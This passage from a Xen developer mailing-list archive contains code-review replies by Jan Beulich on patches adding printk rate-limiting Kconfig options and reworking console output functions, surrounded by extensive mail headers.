         yjhQ==
X-Forwarded-Encrypted: i=1; AHgh+RqSlLACb6rWn7ec2A1nA9aquHZm4DZOqtd3QtqNN9930izPmJlxR7MjV6tNoGRTOo9MFw3GHUR02eE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwsFe6OnUhFw8CVWj0c/TjEsfRR7x9d3eZvqq98NURguqRl0T+x
	dnliNi22NVNmHtRDSJdLco7hv9COk5c+kvU6to7BTgmwsCf8wUUOBPPVCE958jd55Q==
X-Gm-Gg: AfdE7clmL9MsW5oKVIHZXCyu7CdDwNclSIb2IyHNVf7hX2xVtQeoI9ou+b3UjcA3G5D
	kYe0CNeTH0TX18s8FCpf1bg5osaETMJLNEexDJXiuFJNMTqdh1r5Ke8vXcsgHDBN+FQL5Tgpbxk
	JPs+uPAUYpCqrBNg6nQIJ9EU1/Hm8SrUDbcaTGENXoqc+Rs/lZTCFWVDX8YHFmzDybweTi4zIso
	MsfUR1TBFTV1F0J4FRBwSWmKyaTf5z2YywBmcWsdyWSqMltH8yeeoOMre1JMeLG1Vy1GLtoxeGf
	o463dIfWtAz9BO6JGJr5MogzJmqizKtqxI5FjQ2m/6f0oTxaYOcHWjn4KYNk1kcoDTEk1wYOQ+V
	fXzhVBjksUAo3zMdPdUSpJgzyHFlEV3EW+HLOIz8g8LTOJbOuIvIG/uggmDJd6UiETe1MIDVYF+
	6ZGp2lIWyjdpKwGtzcjGDpOGQpcyzcliCLPq0SiLyul24DCkJRXyfgs42gRuQTuXTLew==
X-Received: by 2002:a05:600c:1d9a:b0:493:f78f:cd70 with SMTP id 5b1f17b1804b1-49538a01b3dmr123202435e9.18.1784216691216;
        Thu, 16 Jul 2026 08:44:51 -0700 (PDT)
Message-ID: <611f2170-7d57-43d5-bbd4-7aaa46c93704@suse.com>
Date: Thu, 16 Jul 2026 17:44:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
To: Teddy Astie <teddy.astie@vates.tech>, dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-4-dmukhin@ford.com>
 <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzog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8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784216691-FDA0C77B-1C105676/0/0
X-purgate-type: clean
X-purgate-size: 2362

On 16.07.2026 11:59, Teddy Astie wrote:
> Le 15/07/2026 Ã  22:24, dmukhin@ford.com a Ã©critÂ :
>> --- a/xen/common/Kconfig
>> +++ b/xen/common/Kconfig
>> @@ -672,4 +672,33 @@ config PM_STATS
>>   	  Enable collection of performance management statistics to aid in
>>   	  analyzing and tuning power/performance characteristics of the system
>>   
>> +menu "Console rate-limiting"
>> +
>> +config PRINTK_RATELIMIT_MS
>> +	int "printk rate-limiting time window (milliseconds)"
>> +	default 5000
>> +	help
>> +	  Specifies the time window, in milliseconds, for rate-limited printk
>> +	  messages. No more than `CONFIG_PRINTK_RATELIMIT_BURST` messages will be
>> +	  printed within this window.
>> +
>> +	  Setting this value to 0 disables rate-limiting entirely.
>> +
>> +	  Rate-limited messages are those controlled by the `loglvl` and
>> +	  `guest_loglvl` command-line parameters.
>> +
>> +config PRINTK_RATELIMIT_BURST
>> +	int "printk rate-limited message burst size"
>> +	default 10
>> +	help
>> +	  Defines the maximum number of rate-limited printk messages that may be
>> +	  printed within each `CONFIG_PRINTK_RATELIMIT_MS` time window.
>> +
>> +	  Setting this value to 0 disables rate-limiting entirely.
>> +
>> +	  Rate-limited messages are those controlled by the `loglvl` and
>> +	  `guest_loglvl` command-line parameters.
>> +
>> +endmenu
>> +
>>   endmenu
> 
> Given that setting 0 to either will disable rate limiting, would it be 
> preferable instead to have a more general PRINTK_RATELIMIT toggle, where :
> 
> Setting it to true would enable configuration of ms and burst (rejecting 
> 0 if possible).
> Setting it to false would set both to 0 hence disabling rate limiting by 
> default.
> 
> And we do something like
> 
> static const unsigned int printk_ratelimit_ms =
>    IS_ENABLED(CONFIG_PRINTK_RATELIMIT) ? CONFIG_PRINTK_RATELIMIT_MS : 0;
> 
> (similarly for burst)
> 
> ?

While I'm not quite sure we need to go this far (it's tidier overall, but
as it is right now the effect of disabling rate limiting is also clearly
stated), there's a security angle here: Disabling rate limiting altogether
must be clearly documented as not security supported. But we may need to
go beyond that, and also document as not security supported any lowering
of the default values.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:49:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:49:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364322.1615593 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOLG-0006kw-Io; Thu, 16 Jul 2026 15:49:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364322.1615593; Thu, 16 Jul 2026 15:49:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOLG-0006kp-Fa; Thu, 16 Jul 2026 15:49:42 +0000
Received: by outflank-mailman (input) for mailman id 1364322;
 Thu, 16 Jul 2026 15:49:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkOLF-0006kf-9b
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:49:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkOLE-008L02-FI
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:49:40 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58fd72-bab6-0a2a0a5309dd-0a2a45058618-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:49:37 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58fd91-4cb1-0a2a45050019-d155dd34c8d4-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:49:37 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-475417f010dso3519376f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:49:37 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4634e0e4sm26669397f8f.4.2026.07.16.08.49.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 08:49:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784216977; x=1784821777; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=RlfVTDPJJLJrXyj4G1qVW2wDKeCcBC8qeWz9AgrYJ6E=;
        b=M4UlgtDCBwBxudx+GtXkf3L6ZCiHO8X7UbtrB5zdR9dOE0wSDoj/SRbwvLWrmBBNZx
         gATc9WadhR7WSQink7qr9K4r/cnmwG3pSZR8t4BwPmqScnVJPcAD6tTXfrh6ZunlyGSu
         FfNECsEt7Ibraalo74K/Y28KfRsSW11TQPqRfsVh4CcS5DPkpksG1N1MzlorkrEvRvEr
         OPDRI40r1w0UuzyRbkGVoZgEDorzS1cxMRLQNIBDYjcFsBF7MI0n5+aYprpkHmzNPoSb
         aZSkxoWAMCwaHQC3Y87VTzrUKNBFC5xFTE+rNPtrlmIWIvgO8iZbtKjDkStosGuS7G65
         f16g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784216977; x=1784821777;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=RlfVTDPJJLJrXyj4G1qVW2wDKeCcBC8qeWz9AgrYJ6E=;
        b=F/9zl73H6HrswKj6vJCWlF3wBjiSovahJMMIK3U5T+gCp7dQRYxwDOLuAts4xKYAFx
         gQF15nbZ5OboYcjTYhIUU2FShp6smmIOUKpsxJgazpDzum53vYzLg9PX02rMrnNISFBB
         QD6BiVm7CrFLPxMVA6haQUlMrLQzv61ZTP46LaDX4HeYWJCNpFzFXVmm0FtqbS9UAUm9
         idw3+VQfvufXtAWh/poqB9BxPXSlxYouU2pzT8diwj7QA9GVs/IDx06x8ElbT2pK5QDq
         LX+MCHDWsT0OKu40Rr79sPfb5TyXTMnwxfv9TH0WFhSfb+3MkZfRQHAh0NZQTj8xv/sU
         5xXw==
X-Forwarded-Encrypted: i=1; AHgh+RrV/rnJs+cg82ijBDouFmscG+f2CJPK8DJ+MifYQgDxOn9zP6hr59ACRGRpfn+bjjQjemKpNGX1+Q0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy5lzM2OfhO8daUmW7rwa2Wlk/NEyGZyxsEHuNcCEfj03LVpewY
	qXL2mxmY9E6GDf5lqQwpg1p+G1Ba3iWjtiV43GDsf2HWxnpb8v/f/y0MdQwYYygl3g==
X-Gm-Gg: AfdE7cly4mF58OWg54gao5VEzicIMNwl8e/R1oOU2QfK2NGHolWV2P217fxNB/rKTYk
	gjNyQD7BoZUyxv/c3+aX4gae+qRGfJ4PjACSZyFV4/BIyguzop5aTD2vwyCFaZn6GT3PlfZ0CLM
	5vXlJyVGYtowSz8HxyDjaEMHtO6pFfznjWTnLSi0FVQSoFyFVGQYLyhapMSRuduOfcQ6RRLkEQO
	XMUb590Qf4djW4wELxB/B2/g0wFye4Zri43JeGnkIUSxN9k2hDPTdiuTWr7W4ApS0sEzezk/v3i
	9U1bPKKdLKdcooKWwt4cv/f/UpSV38HX5L+SA9V+bpHePKDUWYctAVJjb26hg3XmA1A2igQdHRK
	NAV4diHHOeYH8jgugqE5yu2B3+TY6q9+nIowpBsKXRQ/QippprTlq5uf1lAer+exCc4NRKZEwdS
	rQeu3HNfUXi9TrmU8OS7/zp1JsNQDkTjxxZqbORDMEwSEGNNpnLZSLYUQDW7F3R4L31A==
X-Received: by 2002:a05:600c:8115:b0:493:aa0a:45ad with SMTP id 5b1f17b1804b1-4953c14f78dmr84277505e9.2.1784216977017;
        Thu, 16 Jul 2026 08:49:37 -0700 (PDT)
Message-ID: <020cfca3-5558-422f-b267-e498bfdf36bf@suse.com>
Date: Thu, 16 Jul 2026 17:49:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 4/4] xen/console: reduce number of printouts in
 __printk_ratelimit()
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-5-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRW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wACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260715201902.2984407-5-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784216977-F6CB02A1-1085730F/0/0
X-purgate-type: clean
X-purgate-size: 1444

On 15.07.2026 22:19, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
> 
> Fold several __putstr() calls into one around notification of how many
> messages have been rate-limited.
> 
> Not a functional change.
> 
> Signed-off-by: Denis Mukhin <dmukhin@ford.com>

Hmm, the upsides and downsides aren't being discussed at all. You're ...

> --- a/xen/drivers/char/console.c
> +++ b/xen/drivers/char/console.c
> @@ -1303,15 +1303,15 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
>          spin_unlock(&ratelimit_lock);
>          if ( lost )
>          {
> -            char lost_str[10];
> +            char msg[64];
> +
> +            snprintf(msg, sizeof(msg),
> +                     "printk: %u messages suppressed\n", lost);
>  
> -            snprintf(lost_str, sizeof(lost_str), "%u", lost);
>              /* console_lock may already be acquired by printk(). */
>              rspin_lock(&console_lock);
>              printk_start_of_line(CONSOLE_PREFIX);
> -            __putstr("printk: ");
> -            __putstr(lost_str);
> -            __putstr(" messages suppressed.\n");
> +            __putstr(msg);
>              rspin_unlock(&console_lock);
>          }
>          local_irq_restore(flags);

... trading slightly smaller code size + slightly better performance for
slightly bigger stack utilization. It's not entirely obvious that this is
a good deal.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 16:08:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 16:08:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364334.1615603 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOd4-0001rS-03; Thu, 16 Jul 2026 16:08:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364334.1615603; Thu, 16 Jul 2026 16:08:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOd3-0001rL-Te; Thu, 16 Jul 2026 16:08:05 +0000
Received: by outflank-mailman (input) for mailman id 1364334;
 Thu, 16 Jul 2026 16:08:04 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkOd2-0001qz-5U
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:08:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkOd1-00FI30-Aw
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 18:08:03 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5901de-2eae-0a2a0a5409dd-0a2a4507c952-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 18:08:03 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5901e2-b4ea-0a2a45070019-d155dd2fbc1c-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 18:08:03 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47f365afc5aso2896684f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:08:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464c89e5sm25402666f8f.34.2026.07.16.09.08.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 09:08:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784218082; x=1784822882; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=HcR3h/iUqU6ikCT/C/gkqXmqEWJCvHNwK7jVzd8zkTs=;
        b=dekCc3STxQJ0u+vI1mEivChig3d78TxnwZymJloOXAP4xOT7zyBRlvZDFgmD9rhmrB
         0KVzUmY8/EigM2rrMdROfYrKTNCBjczl4UgnzUvreINUIzbawSiSFvvMRGNzFBCNAUDM
         ayBEikPm24ARHn13s08zrUHFnDIIQzm5vpAVNTGLyU2yDFc6ShnGeUi7z8w0J2+CLGE3
         rFhbvEZrbnTSqdx00EdWABzWCckBAOvbb5EZEVWPGxMOB7FpSDmO4GLW3pzqy3GszZYa
         O91ZQmBwEI5pZxB1rgFts4DA94lBV5ERLSdYsxk7kk8kaPcePBwFqGA3OpM/3yummW9x
         CNEg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784218082; x=1784822882;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=HcR3h/iUqU6ikCT/C/gkqXmqEWJCvHNwK7jVzd8zkTs=;
        b=rGsp17Be267WqIqOyIragmyenrOTbNWztYtedioWsYJUCxAkSkgBXsupvLmV/N3hGT
         EZoTfCUZ1TYaA9CVzYDHVJL+IBP/q7iRue/GX6lel2T787Ct2YhjituBgleLW4YPkZDv
         7ryndAwnOaxmZGNDU3nqIQRD/YRnSlApryuq9DcDnAhvEoAns8uOr46IZEWdDH5MxW67
         mC7ahjN1uvmm6RCvzZjBaOyXqZtVo36oU3lz7pJF/lQevf6qZCwPdBcpVU81E7XTGHBU
         qm5zX+e/H88zDzz2yW2syg1BueY0KH7WFHviUT99fVC7CIA2jJ92IPKLbHIBPSPfBxj4
         X4XA==
X-Forwarded-Encrypted: i=1; AHgh+RosAb4R585FxeLyOb5ZV/5sAYI463HTu2+wyAyNFlyjTWLfQrxDA9cOyVJ5IgTf3csjS6ed7EY/9xY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwyIWOomCWZV8ByeW4DWT/bZzt+fW1mZV5RguJQOcReeg87mgem
	n8P3MzOipt/B1E8a/QM5eATawQ4bzdPkkIeFw3Uj2zuWDoyOzFENDl5vPC/Q7LaKPA==
X-Gm-Gg: AfdE7cnJ7jh3NlcNzvs4DiQ8FfOvjYukq4jOiyhojRpTK+I4n4Xvs2TyyfzgiGrsCqe
	Mf8z71b0pfdCruF7l94WiN2zK7bX1tmLFxrmyhY9wgaPA54DZ39wyWnInCNYrK5DWxUTS806wZf
	7YeexBMsqSRwXUnQmDGF5qRSZspk/FNhH6/luIyRnUzMBwnUfFd8QYJH3iANx/TrQGeMnoTrlgQ
	QlIhHu0YAZNpb9Fgb2id5f9+AOFKNES1/ULvCc6eHc1pXNo2JcCgEbBwDG/YPjYTcma5wxjS+Es
	6qGmRtftYRbdZdoDWsluiK47yl0Ro6/2vDy+X9a+GYM827e5HuTfxzPms7H+F8l3gcZ8nong6vT
	PxWfCdo6Gd60dy2V8ahzxxW/zi71JSLsl2Xc+l/0GjVsZKZS7Z1zqJKW+VwEt5zl8qviurSbkg1
	5NT4JTrfBOWHVQ8eDrxHxSppG3yRDog53VIPVl+LVNCYb4zbVveTCvP7+2ZdO0wtoh2g==
X-Received: by 2002:a05:6000:2086:b0:472:9bf7:2f58 with SMTP id ffacd0b85a97d-47f488b2106mr14130334f8f.36.1784218082557;
        Thu, 16 Jul 2026 09:08:02 -0700 (PDT)
Message-ID: <40223b4b-4cf4-4cd2-8085-5323784b2d33@suse.com>
Date: Thu, 16 Jul 2026 18:08:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 3/7] xen/console: use memcpy() in conring_puts()
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-4-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQk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YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260713181619.672176-4-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784218083-36AD8AE4-AFD264F1/0/0
X-purgate-type: clean
X-purgate-size: 756

On 13.07.2026 20:16, dmukhin@ford.com wrote:
> --- a/xen/drivers/char/console.c
> +++ b/xen/drivers/char/console.c
> @@ -360,12 +360,22 @@ static DECLARE_SOFTIRQ_TASKLET(conring_tasklet, conring_notify, NULL);
>  /* NB: Do not send conring VIRQs during panic. */
>  static bool conring_no_notify;
>  
> -static void conring_puts(const char *str, size_t len)
> +static void conring_puts(const char *str, unsigned int len)
>  {
> +    unsigned int src = likely(len < conring_size) ? 0 : len - conring_size;

Isn't the attempt to handle strings longer than conring_size pretty much in
vain? Things look correct as far as the rest of the logic in the function
goes, but is this useful? It certainly warrants at least a brief comment imo.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 18:23:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 18:23:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364360.1615612 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQk2-0001xo-CE; Thu, 16 Jul 2026 18:23:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364360.1615612; Thu, 16 Jul 2026 18:23:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkQk2-0001xe-6k; Thu, 16 Jul 2026 18:23:26 +0000
Received: by outflank-mailman (input) for mailman id 1364360;
 Thu, 16 Jul 2026 17:09:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kariyam@oss.nttdata.com>) id 1wkPaT-00017u-Fx
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:09:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkPaS-00HRef-Ej
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 19:09:28 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kariyam@oss.nttdata.com>)
 id 6a59100d-5cb7-0a2a0a5109dd-0a2a450cdbb6-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 19:09:27 +0200
Received: from [49.212.34.109] (helo=oss.nttdata.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kariyam@oss.nttdata.com>)
 id 6a591045-f479-0a2a450c0019-31d4226dac80-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 19:09:27 +0200
Received: by oss.nttdata.com (Postfix, from userid 1024)
 id 5766E2020242; Fri, 17 Jul 2026 02:09:24 +0900 (JST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
To: qemu-devel@nongnu.org
Cc: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
